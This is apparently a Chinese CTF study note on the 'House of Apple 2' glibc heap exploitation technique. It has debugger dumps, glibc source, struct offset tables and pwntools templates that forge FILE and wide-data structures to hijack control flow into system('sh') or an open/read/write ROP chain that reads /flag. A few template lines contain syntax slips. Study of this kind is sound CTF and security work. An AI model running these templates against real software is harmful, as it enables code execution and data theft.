house of apple2学习#

house of apple 2#

glibc 2.35之后，关于许多hook的攻击方式均已失效，介于此，house of apple成为新的攻击手段

利用条件#

可以从main函数返回或者从exit函数退出
需要泄露出libc与heap base
可以使用一次largebin attack造成任意地址写入堆地址

过程#

程序从 main 返回或者执行 exit 后会遍历_IO_list_all存放的每一个IO_FILE结构体，如果满足条件的话，会调用每个结构体中vtable->_overflow函数指针指向的函数。

1
pwndbg> p *_IO_list_all
2
$1 = {
3
  file = {
4
    _flags = -72540026,
5
    _IO_read_ptr = 0x0,
6
    _IO_read_end = 0x0,
7
    _IO_read_base = 0x0,
8
    _IO_write_base = 0x0,
9
    _IO_write_ptr = 0x0,
10
    _IO_write_end = 0x0,
11
    _IO_buf_base = 0x0,
12
    _IO_buf_end = 0x0,
13
    _IO_save_base = 0x0,
14
    _IO_backup_base = 0x0,
15
    _IO_save_end = 0x0,
16
    _markers = 0x0,
17
    _chain = 0x7ffff7e1b780 <_IO_2_1_stdout_>,
18
    _fileno = 2,
19
    _flags2 = 0,
20
    _old_offset = -1,
21
    _cur_column = 0,
22
    _vtable_offset = 0 '\000',
23
    _shortbuf = "",
24
    _lock = 0x7ffff7e1ca60 <_IO_stdfile_2_lock>,
25
    _offset = -1,
26
    _codecvt = 0x0,
27
    _wide_data = 0x7ffff7e1a8a0 <_IO_wide_data_2>,#这是我们需要劫持的成员
28
    _freeres_list = 0x0,
29
    _freeres_buf = 0x0,
30
    __pad5 = 0,
31
    _mode = 0,
32
    _unused2 = '\000' <repeats 19 times>
33
  },
34
  vtable = 0x7ffff7e17600 <_IO_file_jumps>
35
}

glibc2.23及之前没有vtable的检测，可以任意劫持执行的函数。之后增加了对vtable合法性的检测的IO_validate_vtable函数。

1
/* Perform vtable pointer validation.  If validation fails, terminate
2
   the process.  */
3
static inline const struct _IO_jump_t *
4
IO_validate_vtable (const struct _IO_jump_t *vtable)
5
{
6
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
7
     section.  */
8
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
9
  const char *ptr = (const char *) vtable;
10
  uintptr_t offset = ptr - __start___libc_IO_vtables;
11
  if (__glibc_unlikely (offset >= section_length))
12
    /* The vtable pointer is not in the expected section.  Use the
13
       slow path, which will terminate the process if necessary.  */
14
    _IO_vtable_check ();
15
  return vtable;
16
}

而house of apple2主要针对的是_IO_FILE中的__wide_data成员，_wide_data指向的结构体是一个和FILE结构体十分相像的wide_data结构体，下面是他的内容

1
pwndbg> p _IO_wide_data_2
2
$2 = {
3
  _IO_read_ptr = 0x0,
4
  _IO_read_end = 0x0,
5
  _IO_read_base = 0x0,
6
  _IO_write_base = 0x0,
7
  _IO_write_ptr = 0x0,
8
  _IO_write_end = 0x0,
9
  _IO_buf_base = 0x0,
10
  _IO_buf_end = 0x0,
11
  _IO_save_base = 0x0,
12
  _IO_backup_base = 0x0,
13
  _IO_save_end = 0x0,
14
  _IO_state = {
15
    __count = 0,
16
    __value = {
17
      __wch = 0,
18
      __wchb = "\000\000\000"
19
    }
20
  },
21
  _IO_last_state = {
22
    __count = 0,
23
    __value = {
24
      __wch = 0,
25
      __wchb = "\000\000\000"
26
    }
27
  },
28
  _codecvt = {
29
    __cd_in = {
30
      step = 0x0,
31
      step_data = {
32
        __outbuf = 0x0,
33
        __outbufend = 0x0,
34
        __flags = 0,
35
        __invocation_counter = 0,
36
        __internal_use = 0,
37
        __statep = 0x0,
38
        __state = {
39
          __count = 0,
40
          __value = {
41
            __wch = 0,
42
            __wchb = "\000\000\000"
43
          }
44
        }
45
      }
46
    },
47
    __cd_out = {
48
      step = 0x0,
49
      step_data = {
50
        __outbuf = 0x0,
51
        __outbufend = 0x0,
52
        __flags = 0,
53
        __invocation_counter = 0,
54
        __internal_use = 0,
55
        __statep = 0x0,
56
        __state = {
57
          __count = 0,
58
          __value = {
59
            __wch = 0,
60
            __wchb = "\000\000\000"
61
          }
62
        }
63
      }
64
    }
65
  },
66
  _shortbuf = L"",
67
  _wide_vtable = 0x7ffff7e170c0 <_IO_wfile_jumps>
68
}

同样具有一个vtable指针去指向一个虚表，而这个vtable指针所指向的内容是没有检测的，这意味着我们可以把它劫持到我们伪造的虚表，从而控制执行流

调用链#

1
_IO_wfile_overflow --> _IO_wdoallocbuf --> _IO_WDOALLOCATE

在程序执行exit退出时，会刷新FILE结构体里面的所有内容在刷新FILE结构体的时候会执行执行_IO_flush_all_lockp函数在这个过程中会调用到_IO_wfile_overflow函数而在调用_IO_wfile_overflow函数的时候，会调用到IO_wdoallocbuf函数，我们来看看这个函数的源码

1
void
2
_IO_wdoallocbuf (FILE *fp)
3
{
4
  if (fp->_wide_data->_IO_buf_base)
5
    return;
6
  if (!(fp->_flags & _IO_UNBUFFERED))
7
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)//
8
      return;
9
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
10
             fp->_wide_data->_shortbuf + 1, 0);
11
}
12
libc_hidden_def (_IO_wdoallocbuf)

条件#

对fp的设置如下：

_flags设置为~(2 | 0x8 | 0x800)，如果不需要控制rdi，设置为0即可；如果需要获得shell，可设置为 sh;，注意前面有两个空格
vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址（加减偏移），使其能成功调用_IO_wfile_overflow即可
_wide_data设置为可控堆地址A，即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base设置为0，即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base设置为0，即满足*(A + 0x30) = 0
_wide_data->_wide_vtable设置为可控堆地址B，即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP，即满足*(B + 0x68) = C

1
file_addr=heap_base+0x700
2
IO_wide_data_addr=file_addr
3
wide_vtable_addr=file_addr+0xe8-0x68
4
fake_io = b""
5
fake_io += p64(0)  # _IO_read_end
6
fake_io += p64(0)  # _IO_read_base
7
fake_io += p64(0)  # _IO_write_base
8
fake_io += p64(1)  # _IO_write_ptr
9
fake_io += p64(0)  # _IO_write_end
10
fake_io += p64(0)  # _IO_buf_base;
11
fake_io += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
12
fake_io += p64(0)   # _IO_save_base
13
fake_io += p64(0)*3   # from _IO_backup_base to _markers
14
fake_io += p64(0)  # the FILE chain ptr
15
fake_io += p32(2)  # _fileno for stderr is 2
16
fake_io += p32(0)  # _flags2, usually 0
17
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
18
fake_io += p16(0)  # _cur_column
19
fake_io += b"\x00"  # _vtable_offset
20
fake_io += b"\n"  # _shortbuf[1]
21
fake_io += p32(0)  # padding
22
fake_io += p64(_IO_stdfile_2_lock)  # _IO_stdfile_1_lock
23
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
24
fake_io += p64(0)  # _codecvt, usually 0
25
fake_io += p64(IO_wide_data_addr)  # _IO_wide_data_1
26
fake_io += p64(0) * 3  # from _freeres_list to __pad5
27
fake_io += p32(0xFFFFFFFF)  # _mode, usually -1
28
fake_io += b"\x00" * 19  # _unused2
29
fake_io = fake_io.ljust(0xc8, b'\x00')  # adjust to vtable
30
fake_io += p64(libc_base+libc.sym['_IO_wfile_jumps'])  # _IO_list_all fake vtable
31
fake_io += p64(wide_vtable_addr)
32
fake_io += p64(system)

25行：

我们之前提到过，为了方便，我们是将这个堆块同时给伪造成 IO_FILE结构体和 IO_wide_data结构体，而wide_data成员指向的就是 _IO_wide_data结构体的位置，所以我们把它构造到file_addr即可

30行

这个是我们伪造的用于绕过vtable检测的同时调用__doallocate的，不用过多在意，记住即可

31行

这个是我们伪造的 _IO_wide_data结构体的vtable指针，他决定了我们会调用哪里的函数

32行

这一个位置就是我们要调用的函数，你要执行什么就在这里放什么

偏移 (Offset)	_IO_FILE 原始字段	_wide_data 重叠字段	填入的具体值	核心作用与备注
+0x00	`_flags`	-	(脚本中未体现，通常填 `0` 或 `sh;`)	绕过初期检查；同时也是 `system` 的 `rdi` 参数。
+0x08	`_IO_read_ptr`	-	(脚本中未体现)	通常配合 `flags` 填入特定值或留空。
+0x10	`_IO_read_end`	-	`0`	正常填充。
+0x18	`_IO_read_base`	`_IO_write_base`	`0`	【重叠利用】满足触发条件 `*(A + 0x18) == 0`。
+0x20	`_IO_write_base`	`_IO_write_ptr`	`0`	配合下方的 `ptr` 制造溢出条件。
+0x28	`_IO_write_ptr`	`_IO_write_end`	`1`	满足触发条件 `_IO_write_ptr > _IO_write_base`。
+0x30	`_IO_write_end`	`_IO_buf_base`	`0`	【重叠利用】满足触发条件 `*(A + 0x30) == 0`。
+0x88	`_lock`	-	`_IO_stdfile_2_lock`	必须填入一个合法的、可写的内存地址，绕过锁断言。
+0xa0	`_wide_data`	-	`fp` (自身地址)	【核心枢纽】强行将宽字符数据区引回当前结构体首地址。
+0xc0	`_mode`	-	`-1` (`0xFFFFFFFF`)	满足触发条件 `_mode <= 0`。
+0xd8	`vtable`	-	`_IO_wfile_jumps`	劫持常规流操作，引流至宽字符溢出处理函数。
+0xe0	(超出 FILE 范围)	`_wide_vtable`	`fp + 0xe8 - 0x68`	【重叠利用】指定宽字符虚表地址，精心计算的偏移。
+0xe8	(超出 FILE 范围)	(函数指针目标)	`system` / `gadget`	【最终斩首】 `_wide_vtable + 0x68` 刚好落在此处，劫持 RIP！

ORW:

1
file_addr=heap_base+0x700
2
IO_wide_data_addr=file_addr
3
wide_vtable_addr=file_addr+0xe8-0x68
4
fake_io = b""
5
fake_io += p64(0)  # _IO_read_end    0x10
6
fake_io += p64(0)  # _IO_read_base    0x18
7
fake_io += p64(0)  # _IO_write_base    0x20
8
fake_io += p64(1)  # _IO_write_ptr    0x28
9
fake_io += p64(0)  # _IO_write_end    0x30
10
fake_io += p64(0)  # _IO_buf_base;    0x38
11
fake_io += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)    0x40
12

13

14
fake_io += p64(ROPchain_addr)   # _IO_save_base     0x48
15

16

17

18
fake_io += p64(0)*3   # from _IO_backup_base to _markers    0x50-0x60
19
fake_io += p64(0)  # the FILE chain ptr                0x68
20
fake_io += p32(2)  # _fileno for stderr is 2            0x70
21
fake_io += p32(0)  # _flags2, usually 0                0x74
22
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1        0x78
23
fake_io += p16(0)  # _cur_column                  0x82
24
fake_io += b"\x00"  # _vtable_offset
25
fake_io += b"\n"  # _shortbuf[1]
26
fake_io += p32(0)  # padding                    0x84
27
fake_io += p64(_IO_stdfile_2_lock)  # _IO_stdfile_1_lock    0x88
28
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1        0x90
29
fake_io += p64(0)  # _codecvt, usually 0              0x98
30
fake_io += p64(IO_wide_data_addr)  # _IO_wide_data_1        0xa0
31
fake_io += p64(0) * 3  # from _freeres_list to __pad5        0xa8-0xb8
32
fake_io += p32(0xFFFFFFFF)  # _mode, usually -1            0xc0
33
fake_io += b"\x00" * 19  # _unused2
34
fake_io = fake_io.ljust(0xc8, b'\x00')  # adjust to vtable
35
fake_io += p64(libc.sym['_IO_wfile_jumps'])  # _IO_list_all fake vtable    0xd8
36
fake_io += p64(wide_vtable_addr)                          #  0xe0
37

38

39
fake_io += p64(libc.sym['svcudp_reply']+26)                # 0xe8

1
<svcudp_reply+26>:  mov  rbp,QWORD PTR [rdi+0x48]
2
<svcudp_reply+30>:  mov  rax,QWORD PTR [rbp+0x18]
3
<svcudp_reply+34>:  lea  r13,[rbp+0x10]
4
<svcudp_reply+38>:  mov  DWORD PTR [rbp+0x10],0x0
5
<svcudp_reply+45>:  mov  rdi,r13
6
<svcudp_reply+48>:  call  QWORD PTR [rax+0x28]

和上面的system一样，此时rdi是指向file_addr的，此时对于rdi的索引就是0x48，所以file_addr+0x48处的内容会被赋值给rbp，此时我们将这个位置处改为orw_addr，再基于下面的call调用，我们就能实现栈迁移打orw了，而file_addr+0x48处正好是IO结构体中的_IO_save_base了

下面我们讲讲对于call调用的赋值，调用的是&rax+0x28处的内容，我们把这个内容改为leave;ret的话就能实现栈迁移了

而rax的赋值是基于rbp的0x18偏移处,而此时rbp已经被我们迁移到了orw_addr处，只要我们将orw_addr+0x18处改为一个可控制的地址，再基于这个地址+0x28处写上leave;ret即可完成栈迁移

巧妙的是，在我们的orw构造中，我么先用pop_rdx_rbx进行寄存器赋值，而rbx正好对应orw_addr+0x18处，并且rbx是我们调用orw用不到的寄存器，所以我们在这里写上一个可控的堆地址即可，这里我写的是orw_addr+0x100处，而read和write的地址都是orw_addr+0x200处，不会产生冲突，此时我们把orw_addr+0x100处距离0x28偏移处写上leave;ret即可调用完成，而orw_addr我写入的是能够控制的一个chunk的fd指针处，便于我们对chunk进行写入

板子#

GLIBC 2.35

1
file_addr=heap_base+0x700
2
IO_wide_data_addr=file_addr
3
wide_vtable_addr=file_addr+0xe8-0x68
4
fake_io = b""
5
fake_io += p64(0)  # _IO_read_end
6
fake_io += p64(0)  # _IO_read_base
7
fake_io += p64(0)  # _IO_write_base
8
fake_io += p64(1)  # _IO_write_ptr
9
fake_io += p64(0)  # _IO_write_end
10
fake_io += p64(0)  # _IO_buf_base;
11
fake_io += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
12
fake_io += p64(0)   # _IO_save_base
13
fake_io += p64(0)*3   # from _IO_backup_base to _markers
14
fake_io += p64(0)  # the FILE chain ptr
15
fake_io += p32(2)  # _fileno for stderr is 2
16
fake_io += p32(0)  # _flags2, usually 0
17
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
18
fake_io += p16(0)  # _cur_column
19
fake_io += b"\x00"  # _vtable_offset
20
fake_io += b"\n"  # _shortbuf[1]
21
fake_io += p32(0)  # padding
22
fake_io += p64(_IO_stdfile_2_lock)  # _IO_stdfile_1_lock
23
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
24
fake_io += p64(0)  # _codecvt, usually 0
25
fake_io += p64(IO_wide_data_addr)  # _IO_wide_data_1    将这个堆块同时给伪造成 IO_FILE结构体和 IO_wide_data结构体
26
fake_io += p64(0) * 3  # from _freeres_list to __pad5
27
fake_io += p32(0xFFFFFFFF)  # _mode, usually -1
28
fake_io += b"\x00" * 19  # _unused2
29
fake_io = fake_io.ljust(0xc8, b'\x00')  # adjust to vtable
30
fake_io += p64(libc_base+libc.sym['_IO_wfile_jumps'])  # _IO_list_all fake vtable    伪造的用于绕过vtable检测的同时调用__doallocate的
31
fake_io += p64(wide_vtable_addr)    # _IO_wide_data结构体的vtable指针
32
fake_io += p64(system)

GLIBC 2.39

1
fake_file = b''
2
fake_file = p64(0)    #_flags通常设置为 0
3
fake_file += p64(1)    #_IO_read_ptr 设置为 1或者任何小于 _IO_write_ptr 的值
4
fake_file=  fake_file.ljust(0x28,b'\x00')+p64(heap1)  # offset 0x20处为_IO_write_base ，offset 0x28处为_IO_write_ptr，我们需要满足的条件是_IO_write_ptr > _IO_write_base，此处_IO_write_base已经被设置为0，而_IO_write_ptr为heap1，显然大于_IO_write_base，成功骗过了 _IO_flush_all，让它去执行我们伪造在 vtable 里的目标函数。
5
fake_file = fake_file.ljust(0x68,b'\x00')+p64(fake_heap)
6
fake_file = fake_file.ljust(0x80,b'\x00')+p64(fake_heap)
7
fake_file = fake_file.ljust(0xb8,b'\x00')+p64(IO_wfile_jumps)
8

9

10

11
fake_file = b''
12
fake_file = p64(0)    #_flags通常设置为 0
13
fake_file += p64(1)    #_IO_read_ptr 设置为 1或者任何小于 _IO_write_ptr 的值
14
fake_file = fake_file.ljust(0x18,b'\x00')
15
fake_file += p64(0)    #_IO_write_base 填入 0
16
fake_file += p64(addr1)  # _IO_write_ptr  填入一个大于 0 的合法可读写地址（用于满足 write_ptr > write_base）
17
fake_file = fake_file.ljust(0x98,b'\x00')
18
fake_file += p64(fake_wide_data_addr)    #填入伪造的宽字符结构体基址
19
fake_file = fake_file.ljust(0xb8,b'\x00')
20
fake_file += p64(1)    #_mode = 1
21
fake_file = fake_file.ljust(0xd0,b'\x00')
22
fake_file += p64(libc.sym['_IO_wfile_jumps'])
23

24

25
fake_wide_data = b''
26
fake_wide_data = fake_wide_data.ljust(0x10,b'\x00')
27
fake_wide_data += p64(0)  #_IO_write_base 填入 0
28
fake_wide_data += p64(0)  #_IO_write_ptr 填入 0（让系统以为宽字符缓冲区未分配）
29
fake_wide_data = fake_wide_data.ljust(0xd8,b'\x00')
30
fake_wide_data += p64(fake_wide_vtable_addr)  #填入伪造的宽字符虚表基址
31

32

33
fake_wide_vtable = b''
34
fake_wide_vtable = fake_wide_vtable.ljust(0x60,b'\x00')
35
fake_wide_vtable += p64(libcbase+0x17923D)    #libc 2.39中svcudp_reply的gadget

1
pwndbg> p *_IO_list_all
2
$1 = {
3
  file = {
4
    _flags = -72540026,
5
    _IO_read_ptr = 0x0,
6
    _IO_read_end = 0x0,
7
    _IO_read_base = 0x0,
8
    _IO_write_base = 0x0,
9
    _IO_write_ptr = 0x0,
10
    _IO_write_end = 0x0,
11
    _IO_buf_base = 0x0,
12
    _IO_buf_end = 0x0,
13
    _IO_save_base = 0x0,
14
    _IO_backup_base = 0x0,
15
    _IO_save_end = 0x0,
16
    _markers = 0x0,
17
    _chain = 0x7ffff7fb4760 <_IO_2_1_stdout_>,
18
    _fileno = 2,
19
    _flags2 = 0,
20
    _old_offset = -1,
21
    _cur_column = 0,
22
    _vtable_offset = 0 '\000',
23
    _shortbuf = "",
24
    _lock = 0x7ffff7fb6720 <_IO_stdfile_2_lock>,
25
    _offset = -1,
26
    _codecvt = 0x0,
27
    _wide_data = 0x7ffff7fb3880 <_IO_wide_data_2>,
28
    _freeres_list = 0x0,
29
    _freeres_buf = 0x0,
30
    __pad5 = 0,
31
    _mode = 0,
32
    _unused2 = '\000' <repeats 19 times>
33
  },
34
  vtable = 0x7ffff7fb5560 <__GI__IO_file_jumps>
35
}
36

37
pwndbg> p _IO_wide_data_2
38
$2 = {
39
  _IO_read_ptr = 0x0,
40
  _IO_read_end = 0x0,
41
  _IO_read_base = 0x0,
42
  _IO_write_base = 0x0,
43
  _IO_write_ptr = 0x0,
44
  _IO_write_end = 0x0,
45
  _IO_buf_base = 0x0,
46
  _IO_buf_end = 0x0,
47
  _IO_save_base = 0x0,
48
  _IO_backup_base = 0x0,
49
  _IO_save_end = 0x0,
50
  _IO_state = {
51
    __count = 0,
52
    __value = {
53
      __wch = 0,
54
      __wchb = "\000\000\000"
55
    }
56
  },
57
  _IO_last_state = {
58
    __count = 0,
59
    __value = {
60
      __wch = 0,
61
      __wchb = "\000\000\000"
62
    }
63
  },
64
  _codecvt = {
65
    __cd_in = {
66
      step = 0x0,
67
      step_data = {
68
        __outbuf = 0x0,
69
        __outbufend = 0x0,
70
        __flags = 0,
71
        __invocation_counter = 0,
72
        __internal_use = 0,
73
        __statep = 0x0,
74
        __state = {
75
          __count = 0,
76
          __value = {
77
            __wch = 0,
78
            __wchb = "\000\000\000"
79
          }
80
        }
81
      }
82
    },
83
    __cd_out = {
84
      step = 0x0,
85
      step_data = {
86
        __outbuf = 0x0,
87
        __outbufend = 0x0,
88
        __flags = 0,
89
        __invocation_counter = 0,
90
        __internal_use = 0,
91
        __statep = 0x0,
92
        __state = {
93
          __count = 0,
94
          __value = {
95
            __wch = 0,
96
            __wchb = "\000\000\000"
97
          }
98
        }
99
      }
100
    }
101
  },
102
  _shortbuf = L"",
103
  _wide_vtable = 0x7ffff7fb5020 <__GI__IO_wfile_jumps>
104
}

偏移 (Hex) IO_FILE	字段名	类型/描述
0x00	`_flags`	标志位 (如 `_IO_MAGIC_GET`)
0x08	`_IO_read_ptr`	读缓冲区指针
0x10	`_IO_read_end`	读缓冲区结束
0x18	`_IO_read_base`	读缓冲区基址
0x20	`_IO_write_base`	写缓冲区基址
0x28	`_IO_write_ptr`	写缓冲区指针 (House of Apple 2 中需满足 ptr > base)
0x30	`_IO_write_end`	写缓冲区结束
0x38	`_IO_buf_base`	缓冲区基址
0x40	`_IO_buf_end`	缓冲区结束
0x48	`_IO_save_base`	备份缓冲区基址
0x50	`_IO_backup_base`	备份缓冲区基址
0x58	`_IO_save_end`	备份缓冲区结束
0x60	`_markers`	链表标记
0x68	`_chain`	链接下一个 FILE 结构体
0x70	`_fileno`	文件描述符
0x74	`_flags2`	附加标志
0x78	`_old_offset`	旧的偏移量
0x80	`_cur_column`	当前列
0x82	`_vtable_offset`	vtable 偏移 (通常为 0)
0x83	`_shortbuf[1]`	短缓冲区
0x88	`_lock`	关键字段：必须指向一块可写内存（通常指向文件本身的空闲位置）
0x90	`_offset`	偏移量
0x98	`_codecvt`	编码转换指针
0xa0	`_wide_data`	关键字段：指向 `_IO_wide_data` 结构体
0xa8	`_freeres_list`	释放列表
0xb0	`_freeres_buf`	释放缓冲区
0xb8	`__pad5`	填充
0xc0	`_mode`	关键字段：House of Apple 2 中通常设为大于 0
0xc4	`_unused2[20]`	未使用区域
0xd8	`vtable`	关键字段：指向 `_IO_wfile_jumps` 以触发攻击流

偏移 (Hex) vtable	函数名 (Entry)	House of Apple 2 中的作用
0x00	`dummy`	占位
0x08	`dummy2`	占位
0x10	`finish`	析构
0x18	`overflow`	核心触发点：通过 `_IO_wfile_overflow` 进入
0x20	`underflow`
0x28	`uflow`
0x30	`pbackfail`
0x38	`xsputn`	输出字符串
0x40	`xsgetn`	输入字符串
0x48	`seekoff`	偏移寻址
0x50	`seekpos`	位置寻址
0x58	`setbuf`	设置缓冲区
0x60	`sync`	同步
0x68	`doallocate`	分配缓冲区
0x70	`read`	系统读
0x78	`write`	系统写
0x80	`seek`	系统寻址
0x88	`close`	关闭
0x90	`stat`	状态信息
0x98	`showmanyc`
0xa0	`imbue`

偏移 (Hex) _wide_data	字段名	类型	在 House of Apple 2 中的作用 / 备注
0x00	`_IO_read_ptr`	`wchar_t *`	宽字符读指针
0x08	`_IO_read_end`	`wchar_t *`	宽字符读缓冲区结束
0x10	`_IO_read_base`	`wchar_t *`	宽字符读缓冲区基址
0x18	`_IO_write_base`	`wchar_t *`	关键条件 1：通常必须设置为 `0`，用来满足进入 `_IO_wdoallocbuf` 分配宽缓冲区的判定条件（即缓冲区未初始化）。
0x20	`_IO_write_ptr`	`wchar_t *`	宽字符写指针
0x28	`_IO_write_end`	`wchar_t *`	宽字符写缓冲区结束
0x30	`_IO_buf_base`	`wchar_t *`	关键条件 2：通常必须设置为 `0`，用于绕过 `_IO_wdoallocbuf` 开头的 `if (fp->_wide_data->_IO_buf_base) return;` 检查。
0x38	`_IO_buf_end`	`wchar_t *`	宽字符备用缓冲区结束
0x40	`_IO_save_base`	`wchar_t *`	备份缓冲区相关
0x48	`_IO_backup_base`	`wchar_t *`	备份缓冲区相关
0x50	`_IO_save_end`	`wchar_t *`	备份缓冲区相关
0x58	`_IO_state`	`__mbstate_t`	多字节字符转换状态 (8 字节)
0x60	`_IO_last_state`	`__mbstate_t`	上一次转换状态 (8 字节)
0x68	`_codecvt`	`struct _IO_codecvt`	编码转换结构体。它包含了一大堆函数指针和状态标志（占用 0x68 到 0xd8 的大部分空间）。在 Pwn 中通常用不到，直接用 `\x00` 填充即可。
0xe0	`_wide_vtable`	`struct _IO_jump_t *`	绝对核心：指向你伪造的宽字符虚表（`_wide_vtable`），程序最终会去该指针指向的地址 + `0x68` (`__doallocate`) 的位置寻址并执行指令。

偏移 (Hex) _wide_data_vtable	字段 / 对应的宏	House of Apple 2 劫持细节与作用
0x00	`__dummy`	占位符，通常填 0。
0x08	`__dummy2`	占位符，通常填 0。
0x10	`__finish`	`_IO_WFINISH`
0x18	`__overflow`	`_IO_WOVERFLOW`
0x20	`__underflow`	`_IO_WUNDERFLOW`
0x28	`__uflow`	`_IO_WUFLOW`
0x30	`__pbackfail`	`_IO_WPBACKFAIL`
0x38	`__xsputn`	`_IO_WXSPUTN`
0x40	`__xsgetn`	`_IO_WXSGETN`
0x48	`__seekoff`	`_IO_WSEEKOFF`
0x50	`__seekpos`	`_IO_WSEEKPOS`
0x58	`__setbuf`	`_IO_WSETBUF`
0x60	`__sync`	`_IO_WSYNC`
0x68	`__doallocate`	绝对核心劫持点 (`_IO_WDOALLOCATE`)。在这里填入 `system`、`magic gadget` 或 `setcontext` 的地址。
0x70	`__read`	`_IO_WREAD`
0x78	`__write`	`_IO_WWRITE`
0x80	`__seek`	`_IO_WSEEK`
0x88	`__close`	`_IO_WCLOSE`
0x90	`__stat`	`_IO_WSTAT`
0x98	`__showmanyc`	`_IO_WSHOWMANYC`
0xa0	`__imbue`	`_IO_WIMBUE`

对fp的设置如下：

_flags设置为~(2 | 0x8 | 0x800)，如果不需要控制rdi，设置为0即可；如果需要获得shell，可设置为 sh;，注意前面有两个空格
_lock设置为可控地址用来通过校验
vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址（加减偏移），使其能成功调用_IO_wfile_overflow即可
_wide_data设置为可控堆地址A，即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base设置为0，即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base设置为0，即满足*(A + 0x30) = 0
_wide_data->_wide_vtable设置为可控堆地址B，即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP，即满足*(B + 0x68) = C

真正的板子#

system#

1
fp_addr = heap + 0x500
2
_wide_data_addr = fp_addr + 0x100
3
_wide_data_vtable_addr = _wide_data_addr + 0xe8 - 0x68      #   0x80
4

5

6
fp = IO_FILE_plus_struct()
7
fp.flags = 0
8
fp._lock = heap + 0x200
9
fp._wide_data = _wide_data_addr
10
fp.vtable = libc.sym['_IO_wfile_jumps']
11

12
fake_io = flat(
13
    {
14
        0x0:fp,
15

16
        0x100:{
17
            0x18:0,     #_IO_write_base设置为0
18
            0x30:0,     #_IO_buf_base设置为0
19
            0xe0:_wide_data_vtable_addr,       #_wide_vtable设置为可控堆地址
20
        },
21

22
        0x180:{
23
            0x68:libc.sym['system']        #`_wide_data->_wide_vtable->doallocate`设置为地址`C`用于劫持`RIP`
24
        }
25
        0x200: b'  sh;'
26
    }
27
)

栈迁移 2.35#

1
fp_addr = heap_base+0x1810
2
_wide_data_addr = fp_addr + 0x100
3
_wide_data_vtable_addr = _wide_data_addr + 0xe8 - 0x68      #   0x80
4
ROPchain_addr = fp_addr+0x400
5
leave_ret = libc.search(asm("leave;ret;")).__next__()
6

7
fp = IO_FILE_plus_struct()0x
8
fp.flags = b'  /flag\x00'
9
fp._IO_read_ptr = 0xa81
10
fp._lock = heap + 0x200
11
fp._wide_data = _wide_data_addr
12
fp.vtable = libc.sym['_IO_wfile_jumps']
13
fp._IO_save_base = fp_addr + 0x300         # rdi+0x48   -->     rbp
14

15

16
ROPchain = flat([
17
                    pop_rdx_rbx_ret,
18
                    0,
19
                    fp_addr + 0x300,
20
                    pop_rdx_rbx_ret,
21
                    leave_ret,0,
22
                    pop_rdx_rbx_ret,
23
                    0,0,
24
                    pop_rdi_ret,
25
                    fp_addr+2,
26
                    pop_rsi_ret,
27
                    0,
28
                    libc.sym['open'],
29
                    pop_rdi_ret,
30
                    3,
31
                    pop_rsi_ret,
32
                    heap + 0x300,
33
                    pop_rdx_rbx_ret,
34
                    0x100,0,
35
                    libc.sym['read'],
36
                    pop_rdi_ret,
37
                    1,
38
                    pop_rsi_ret,
39
                    heap + 0x300,
40
                    pop_rdx_rbx_ret,
41
                    0x100,0,
42
                    libc.sym['write'],
43

44
                    ])
45

46

47
fake_io = flat(
48
    {
49
        0x8:libc.sym['_IO_list_all']-0x20,
50
        0x10:bytes(fp),
51
        # 0x48:leave_ret,
52
        # 0x50:ROPchain_addr,
53

54
        0x110:{
55
            0x18:0,     #_IO_write_base设置为0
56
            0x30:0,     #_IO_buf_base设置为0
57
            0xe0:_wide_data_vtable_addr,       #_wide_vtable设置为可控堆地址
58
            # 0x80+0x60:b'aaaaaaaa',
59
            0x80+0x68:libc.sym['svcudp_reply']+26,
60
        },
61

62
        # 0x110+0x80:{
63
        #     # 0x60:b'aaaaaaaa',
64
        #     # 0x68:libc.sym['setcontext']+26,    #`_wide_data->_wide_vtable->doallocate`设置为地址`C`用于劫持`RIP`
65
        # },
66
        0xa90:[0,0xab1],
67
        # 0x320+0x28:leave_ret,
68
        # 0x328:fp_addr + 0x300,      #   rax -->   rbp+0x18
69
        # 0x310+0x28:leave_ret,
70
        0x318:ROPchain,
71
    },
72
    filler=b'\x00'
73
)

发现新文章

house of apple2学习#

house of apple 2#

利用条件#

过程#

调用链#

条件#

板子#

真正的板子#

system#

栈迁移 2.35#